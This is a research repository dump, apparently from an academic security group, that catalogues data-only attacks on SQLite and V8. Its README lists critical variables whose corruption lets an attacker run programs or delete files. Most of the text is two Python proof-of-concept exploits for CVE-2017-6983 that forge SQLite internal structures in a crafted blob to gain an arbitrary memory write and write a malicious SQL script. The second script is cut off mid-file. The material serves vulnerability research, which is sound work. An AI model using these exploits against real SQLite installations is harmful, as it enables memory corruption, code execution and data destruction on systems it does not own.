├── .gitignore ├── LICENSE ├── README.md ├── SQLite ├── README.md ├── cve-2017-6983-poc-simple.py ├── cve-2017-6983-poc.py ├── cve-2017-6983.md ├── doXdgOpen-attack.md ├── doXdgOpen-poc.py ├── doXdgOpen.md ├── isDelete-attack.md ├── isDelete-poc.py ├── isDelete.md ├── mode.md ├── zTempFile-attack.md ├── zTempFile-poc.py └── zTempFile.md ├── V8 ├── README.md ├── args.gn ├── enable_os_system-attack.md ├── enable_os_system-poc.js ├── enable_os_system.md └── v8.patch ├── curl ├── README.md └── tempstore.md ├── jhead ├── README.md ├── editcomment.md └── regenthumbnail.md └── nginx ├── README.md ├── ngx_terminate.md └── sa_family.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .swp 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 The Pennsylvania State University 4 | # Developed by the PSU Security Universe research group 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # data-only-attacks 2 | A list of data-only attacks 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 |
ProgramVersionVariableLocationMalicious Goal
SQLite3.40.1p->doXdgOpenshell.c:20270execute arbitrary program
p->zTempFileshell.c:20560delete any file
isDeletesqlite3.c:42939delete any file
V88.5.188enable_os_systemd8-posix.cc:762execute any program
41 | 42 | 43 | ## Acknowledgment 44 | 45 | We thank National Science Foundation (NSF) for supporting our work. 46 | This research is supported by NSF under grant CNS-2247652. 47 | -------------------------------------------------------------------------------- /SQLite/README.md: -------------------------------------------------------------------------------- 1 | [SQLite](https://www.sqlite.org/) is a widely used lightweight database management system (DBMS). 2 | 3 | # Source Code 4 | 5 | Our analysis is performed on version 3.40.1. The following instructions provide a way to obtain a copy of the source code. 6 | 7 | ```bash 8 | $ git clone https://github.com/sqlite/sqlite.git 9 | $ cd sqlite 10 | $ git checkout version-3.40.1 #-> commit 1fdaa9d1a7 11 | ``` 12 | 13 | You may need to compile the source code to produce the file `sqlite3.c` and `shell.c`. 14 | 15 | ```bash 16 | # (within sqlite folder) 17 | $ ./configure 18 | $ make 19 | $ ls -l sqlite3.c shell.c 20 | ``` 21 | 22 | # Critical Variables 23 | 24 | * [doXdgOpen](doXdgOpen.md) 25 | * [isDelete](isDelete.md) 26 | * [zTempFile](zTempFile.md) 27 | * [mode](mode.md) 28 | 29 | # Data-only Attacks 30 | 31 | * [doXdgOpen-attack](doXdgOpen-attack.md) 32 | * [isDetele-attack](isDelete-attack.md) 33 | * [zTempFile-attack](zTempFile-attack.md) 34 | -------------------------------------------------------------------------------- /SQLite/cve-2017-6983-poc-simple.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | 6 | def valToStr(value, length): 7 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 9 | return c 10 | 11 | def writeStr(exp, off, string): 12 | exp = list(exp) 13 | string = list(string) 14 | for i in range(0, len(string)): 15 | exp[off + i] = string[i] 16 | return ''.join(exp) 17 | 18 | def writeVal(exp, off, value, length=8): 19 | return writeStr(exp, off * 2, valToStr(value, length)) 20 | 21 | compact = True 22 | 23 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2 24 | base = 0x667ad8 25 | 26 | dst_ptr = base - 0x20 # FIXME: need to set the dst address 27 | bad_val = 0x1 # FIXME: your bad value (choose 1) 28 | bad_str = None # FIXME: your bad string (choose 1) 29 | 30 | #---------------------------------------------------------- 31 | # expected layout: 32 | 33 | # Fts3Cursor (0x80) 34 | # Fts3Table (0x220) 35 | # Incrblob_metadata (0x8) 36 | # Incrblob (0x38) 37 | # sqlite3 (0x308) 38 | # nBytesFreed (0x4) 39 | # Vdbe_metadata (0x8) 40 | # Vdbe (0x138) 41 | # sqlite3_value (0x48) 42 | # malicious metadata (0x8) 43 | # malicious value/string (?) 44 | 45 | #---------------------------------------------------------- 46 | # required type.member values: 47 | 48 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc) 49 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close) 50 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize) 51 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close) 52 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset) 53 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN) 54 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize) 55 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset) 56 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize) 57 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize) 58 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize) 59 | # malicious_content = Your-bad-value 60 | 61 | #---------------------------------------------------------- 62 | # common sizes and offsets 63 | 64 | # sizeof types 65 | Fts3Cursor_size = 0x80 66 | Fts3Table_size = 0x220 67 | Incrblob_metadata_size = 0x8 68 | Incrblob_size = 0x38 69 | sqlite3_size = 0x308 70 | nBytesFreed_size = 0x4 71 | Vdbe_metadata_size = 0x8 72 | Vdbe_size = 0x138 73 | sqlite3_value_size = 0x48 74 | malicious_metadata_size = 0x8 75 | 76 | # raddr -> address relative to base 77 | # -> offset relattive to exp 78 | raddr_Fts3Cursor = 0 79 | raddr_Fts3Table = Fts3Cursor_size 80 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size 81 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 82 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size 83 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size 84 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size 85 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 86 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size 87 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size 88 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 89 | 90 | # offset_type_member -> offset of member within type 91 | 92 | if compact: 93 | 94 | Fts3Cursor_size = 0x8 95 | raddr_Fts3Cursor = 0 96 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor 97 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member 98 | # align Fts3Table within sqlite3 99 | raddr_Fts3Table = raddr_sqlite3 100 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table) 101 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20 102 | Vdbe_metadata_size = 0x8 103 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 104 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table) 105 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190 106 | Incrblob_metadata_size = 0x8 107 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 108 | # put nBytesFreed (0x4) within sqlite3 109 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8 110 | # put sqlite3_value (0x48) within sqlite3 111 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc 112 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3 113 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48 114 | malicious_metadata_size = 0x8 115 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 116 | 117 | #---------------------------------------------------------- 118 | # malicious actions 119 | 120 | # Fts3Cursor.base.pVtab = &Fts3Table 121 | offset_Fts3Cursor_pVtab = 0 122 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab 123 | addr_Fts3Table = base + raddr_Fts3Table 124 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table) 125 | 126 | # Fts3Table.pSegments = &Incrblob 127 | offset_Fts3Table_pSegments = 0x1e0 128 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments 129 | addr_Incrblob = base + raddr_Incrblob 130 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob) 131 | 132 | # Incrblob.db = &sqlite3 133 | offset_Incrblob_db = 0x20 134 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db 135 | addr_sqlite3 = base + raddr_sqlite3 136 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3) 137 | 138 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 139 | offset_sqlite3_pnBytesFreed = 0x300 140 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed 141 | addr_nBytesFreed = base + raddr_nBytesFreed 142 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed) 143 | 144 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize) 145 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0 146 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd 147 | pTrueEnd_val = 0 148 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val) 149 | 150 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize) 151 | offset_Incrblob_pStmt = 0x18 152 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt 153 | addr_Vdbe = base + raddr_Vdbe 154 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe) 155 | 156 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 157 | offset_Vdbe_db = 0x0 158 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db 159 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3) 160 | 161 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 162 | offset_Vdbe_eVdbeState = 0xcd 163 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState 164 | eVdbeState_val = 1 165 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1) 166 | 167 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 168 | offset_Vdbe_zErrMsg = 0xa8 169 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg 170 | src_ptr = base + raddr_malicious_content 171 | zErrMsg_val = src_ptr 172 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val) 173 | 174 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 175 | offset_sqlite3_pErr = 0x188 176 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr 177 | addr_sqlite3_value = base + raddr_sqlite3_value 178 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value) 179 | 180 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 181 | offset_sqlite3_value_szMalloc = 0x20 182 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc 183 | szMalloc_val = 0x100 184 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4) 185 | 186 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 187 | offset_sqlite3_value_zMalloc = 0x28 188 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 189 | zMalloc_val = dst_ptr 190 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 191 | 192 | # malicious_content = Your-bad-value 193 | if bad_val != None: 194 | exp = writeVal(exp, raddr_malicious_content, bad_val) 195 | if bad_str != None: 196 | exp = writeStr(exp, raddr_malicious_content, bad_str) 197 | 198 | with open('/tmp/exp', 'w') as f: 199 | f.write("create table t1(c1 char);\n") 200 | f.write("insert into t1 values(x'" + exp + "');\n") 201 | f.write("create virtual table a using fts3(b);\n") 202 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 203 | f.write("select optimize(b) from a;\n") 204 | f.write("select sqlite_version();\n") 205 | -------------------------------------------------------------------------------- /SQLite/cve-2017-6983-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | 6 | def valToStr(value, length): 7 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 9 | return c 10 | 11 | def writeStr(exp, off, string): 12 | exp = list(exp) 13 | string = list(string) 14 | for i in range(0, len(string)): 15 | exp[off + i] = string[i] 16 | return ''.join(exp) 17 | 18 | def writeVal(exp, off, value, length=8): 19 | return writeStr(exp, off * 2, valToStr(value, length)) 20 | 21 | compact = True 22 | 23 | exp = valToStr(0xdeadbeef, 8) + "F" * 0x800 * 2 24 | base = 0x667ad8 25 | 26 | dst_ptr = base - 0x20 # FIXME: need to set the dst address 27 | bad_val = 0x1 # FIXME: your bad value (choose 1) 28 | bad_str = None # FIXME: your bad string (choose 1) 29 | 30 | #---------------------------------------------------------- 31 | # expected layout: 32 | 33 | # Fts3Cursor (0x80) 34 | # Fts3Table (0x220) 35 | # Incrblob_metadata (0x8) 36 | # Incrblob (0x38) 37 | # sqlite3 (0x308) 38 | # nBytesFreed (0x4) 39 | # Vdbe_metadata (0x8) 40 | # Vdbe (0x138) 41 | # sqlite3_value (0x48) 42 | # malicious metadata (0x8) 43 | # malicious value/string (?) 44 | 45 | #---------------------------------------------------------- 46 | # required type.member values: 47 | 48 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc) 49 | # Fts3Table.db = 0 [0x18, 8) (line 34895 @ sqlite3SafetyCheckOk) 50 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close) 51 | # Incrblob_metadata = 0 (due to malloc_usable_size) 52 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize) 53 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close) 54 | # sqlite3.mutex = 0 [0x18, 8) (line 98932 @ sqlite3_blob_close) 55 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset) 56 | # sqlite3.lookaside.pEnd = 0 [0x1e8, 8) (line 29361 @ sqlite3DbFreeNN) 57 | # sqlite3.lookaside.pTrueEnd = 0 [0x1f0, 8) (line 29305 @ isqlite3DbMallocSize) 58 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN) 59 | # Vdbe_metadata = 0 (due to malloc_usable_size) 60 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize) 61 | # Vdbe.pc = 0 [0x30, 4) (line 85443 @ sqlite3VdbeReset) 62 | # Vdbe.aMem = 0 [0x68, 8) (line 85458 @ sqlite3VdbeReset) 63 | # Vdbe.apCsr = 0 [0x78, 8) (line 85457 @ sqlite3VdbeReset) 64 | # Vdbe.pVList = 0 [0x80, 8) (line 85585 @ sqlite3VdbeClearObject) 65 | # Vdbe.aOp = 0 [0x88, 8) (line 85588 @ sqlite3VdbeClearObject) 66 | # Vdbe.nOp = 0 [0x90, 8) (line 85588 @ sqlite3VdbeClearObject) 67 | # Vdbe.aColName = 0 [0x98, 8) (line 85574 @ sqlite3VdbeClearObject) 68 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset) 69 | # Vdbe.aVar = 0 [0xb0, 8) (line 85584 @ sqlite3VdbeClearObject) 70 | # Vdbe.startTime = 0 [0xb8, 8) (line 87444 @ sqlite3_finalize) 71 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize) 72 | # Vdbe.zSql = 0 [0x100, 8) (line 85589 @ sqlite3VdbeClearObject) 73 | # Vdbe.pFree = 0 [0x108, 8) (line 85586 @ sqlite3VdbeClearObject) 74 | # Vdbe.pProgram = 0 [0x128, 8) (line 85578 @ sqlite3VdbeClearObject) 75 | # sqlite3_value.db = 0 [0x18, 8) (line 81169 @ sqlite3VdbeMemSetStr) 76 | # sqlite3_value.flags = 0 [0x14, 2) (line 80323 @ sqlite3VdbeMemClearAndResize) 77 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize) 78 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize) 79 | # malicious_metadata = 0 (due to malloc_usable_size) 80 | # malicious_content = Your-bad-value 81 | 82 | #---------------------------------------------------------- 83 | # common sizes and offsets 84 | 85 | # sizeof types 86 | Fts3Cursor_size = 0x80 87 | Fts3Table_size = 0x220 88 | Incrblob_metadata_size = 0x8 89 | Incrblob_size = 0x38 90 | sqlite3_size = 0x308 91 | nBytesFreed_size = 0x4 92 | Vdbe_metadata_size = 0x8 93 | Vdbe_size = 0x138 94 | sqlite3_value_size = 0x48 95 | malicious_metadata_size = 0x8 96 | 97 | # raddr -> address relative to base 98 | # -> offset relattive to exp 99 | raddr_Fts3Cursor = 0 100 | raddr_Fts3Table = Fts3Cursor_size 101 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size 102 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 103 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size 104 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size 105 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size 106 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 107 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size 108 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size 109 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 110 | 111 | # offset_type_member -> offset of member within type 112 | 113 | if compact: 114 | 115 | Fts3Cursor_size = 0x8 116 | raddr_Fts3Cursor = 0 117 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor 118 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member 119 | # align Fts3Table within sqlite3 120 | raddr_Fts3Table = raddr_sqlite3 121 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table) 122 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20 123 | Vdbe_metadata_size = 0x8 124 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 125 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table) 126 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190 127 | Incrblob_metadata_size = 0x8 128 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 129 | # put nBytesFreed (0x4) within sqlite3 130 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8 131 | # put sqlite3_value (0x48) within sqlite3 132 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc 133 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3 134 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48 135 | malicious_metadata_size = 0x8 136 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 137 | 138 | #---------------------------------------------------------- 139 | # malicious actions 140 | 141 | # Fts3Cursor.base.pVtab = &Fts3Table 142 | offset_Fts3Cursor_pVtab = 0 143 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab 144 | addr_Fts3Table = base + raddr_Fts3Table 145 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table) 146 | 147 | # Fts3Table.db = 0 148 | offset_Fts3Table_db = 0x18 149 | raddr_Fts3Table_db = raddr_Fts3Table + offset_Fts3Table_db 150 | db_val = 0 151 | exp = writeVal(exp, raddr_Fts3Table_db, db_val) 152 | 153 | # Fts3Table.pSegments = &Incrblob 154 | offset_Fts3Table_pSegments = 0x1e0 155 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments 156 | addr_Incrblob = base + raddr_Incrblob 157 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob) 158 | 159 | # Incrblob_metadata = 0 160 | Incrblob_metadata_val = 0 161 | exp = writeVal(exp, raddr_Incrblob_metadata, Incrblob_metadata_val) 162 | 163 | # Incrblob.db = &sqlite3 164 | offset_Incrblob_db = 0x20 165 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db 166 | addr_sqlite3 = base + raddr_sqlite3 167 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3) 168 | 169 | # sqlite3.mutex = 0 170 | offset_sqlite3_mutex = 0x18 171 | raddr_sqlite3_mutex = raddr_sqlite3 + offset_sqlite3_mutex 172 | mutex_val = 0 173 | exp = writeVal(exp, raddr_sqlite3_mutex, mutex_val) 174 | 175 | # sqlite3.lookaside.pEnd = 0 (line 29361 @ sqlite3DbFreeNN) 176 | offset_sqlite3_lookaside_pEnd = 0x1e8 177 | raddr_lookaside_pEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pEnd 178 | pEnd_val = 0 179 | exp = writeVal(exp, raddr_lookaside_pEnd, pEnd_val) 180 | 181 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 182 | offset_sqlite3_pnBytesFreed = 0x300 183 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed 184 | addr_nBytesFreed = base + raddr_nBytesFreed 185 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed) 186 | 187 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize) 188 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0 189 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd 190 | pTrueEnd_val = 0 191 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val) 192 | 193 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize) 194 | offset_Incrblob_pStmt = 0x18 195 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt 196 | addr_Vdbe = base + raddr_Vdbe 197 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe) 198 | 199 | # Vdbe_metadata = 0 200 | Vdbe_metadata_val = 0 201 | exp = writeVal(exp, raddr_Vdbe_metadata, Vdbe_metadata_val) 202 | 203 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 204 | offset_Vdbe_db = 0x0 205 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db 206 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3) 207 | 208 | # Vdbe.startTime = 0 (line 87444 @ sqlite3_finalize) 209 | offset_Vdbe_startTime = 0xb8 210 | raddr_Vdbe_startTime = raddr_Vdbe + offset_Vdbe_startTime 211 | startTime_val = 0 212 | exp = writeVal(exp, raddr_Vdbe_startTime, startTime_val) 213 | 214 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 215 | offset_Vdbe_eVdbeState = 0xcd 216 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState 217 | eVdbeState_val = 1 218 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1) 219 | 220 | # Vdbe.pc = 0 (line 85443 @ sqlite3VdbeReset) 221 | offset_Vdbe_pc = 0x30 222 | raddr_Vdbe_pc = raddr_Vdbe + offset_Vdbe_pc 223 | pc_val = 0 224 | exp = writeVal(exp, raddr_Vdbe_pc, pc_val, 4) 225 | 226 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 227 | offset_Vdbe_zErrMsg = 0xa8 228 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg 229 | src_ptr = base + raddr_malicious_content 230 | zErrMsg_val = src_ptr 231 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val) 232 | 233 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 234 | offset_sqlite3_pErr = 0x188 235 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr 236 | addr_sqlite3_value = base + raddr_sqlite3_value 237 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value) 238 | 239 | # sqlite3_value.db = 0 (line 81169 @ sqlite3VdbeMemSetStr) 240 | offset_sqlite3_value_db = 0x18 241 | raddr_sqlite3_value_db = raddr_sqlite3_value + offset_sqlite3_value_db 242 | db_val = 0 243 | exp = writeVal(exp, raddr_sqlite3_value_db, db_val) 244 | 245 | # sqlite3_value.flags = 0 (line 80323 @ sqlite3VdbeMemClearAndResize) 246 | offset_sqlite3_value_flags = 0x14 247 | raddr_sqlite3_value_flags = raddr_sqlite3_value + offset_sqlite3_value_flags 248 | flags_val = 0 249 | exp = writeVal(exp, raddr_sqlite3_value_flags, flags_val, 2) 250 | 251 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 252 | offset_sqlite3_value_szMalloc = 0x20 253 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc 254 | szMalloc_val = 0x100 255 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4) 256 | 257 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 258 | offset_sqlite3_value_zMalloc = 0x28 259 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 260 | zMalloc_val = dst_ptr 261 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 262 | 263 | # Vdbe.apCsr = 0 (line 85457 @ sqlite3VdbeReset) 264 | offset_Vdbe_apCsr = 0x78 265 | raddr_Vdbe_apCsr = raddr_Vdbe + offset_Vdbe_apCsr 266 | apCsr_val = 0 267 | exp = writeVal(exp, raddr_Vdbe_apCsr, apCsr_val) 268 | 269 | # Vdbe.aMem = 0 (line 85458 @ sqlite3VdbeReset) 270 | offset_Vdbe_aMem = 0x68 271 | raddr_Vdbe_aMem = raddr_Vdbe + offset_Vdbe_aMem 272 | aMem_val = 0 273 | exp = writeVal(exp, raddr_Vdbe_aMem, aMem_val) 274 | 275 | # Vdbe.aColName = 0 (line 85574 @ sqlite3VdbeClearObject) 276 | offset_Vdbe_aColName = 0x98 277 | raddr_Vdbe_aColName = raddr_Vdbe + offset_Vdbe_aColName 278 | aColName_val = 0 279 | exp = writeVal(exp, raddr_Vdbe_aColName, aColName_val) 280 | 281 | # Vdbe.pProgram = 0 (line 85578 @ sqlite3VdbeClearObject) 282 | offset_Vdbe_pProgram = 0x128 283 | raddr_Vdbe_pProgram = raddr_Vdbe + offset_Vdbe_pProgram 284 | pProgram_val = 0 285 | exp = writeVal(exp, raddr_Vdbe_pProgram, pProgram_val) 286 | 287 | # Vdbe.aVar = 0 (line 85584 @ sqlite3VdbeClearObject) 288 | offset_Vdbe_aVar = 0xb0 289 | raddr_Vdbe_aVar = raddr_Vdbe + offset_Vdbe_aVar 290 | aVar_val = 0 291 | exp = writeVal(exp, raddr_Vdbe_aVar, aVar_val) 292 | 293 | # Vdbe.pVList = 0 (line 85585 @ sqlite3VdbeClearObject) 294 | offset_Vdbe_pVList = 0x80 295 | raddr_Vdbe_pVList = raddr_Vdbe + offset_Vdbe_pVList 296 | pVList_val = 0 297 | exp = writeVal(exp, raddr_Vdbe_pVList, pVList_val) 298 | 299 | # Vdbe.pFree = 0 (line 85586 @ sqlite3VdbeClearObject) 300 | offset_Vdbe_pFree = 0x108 301 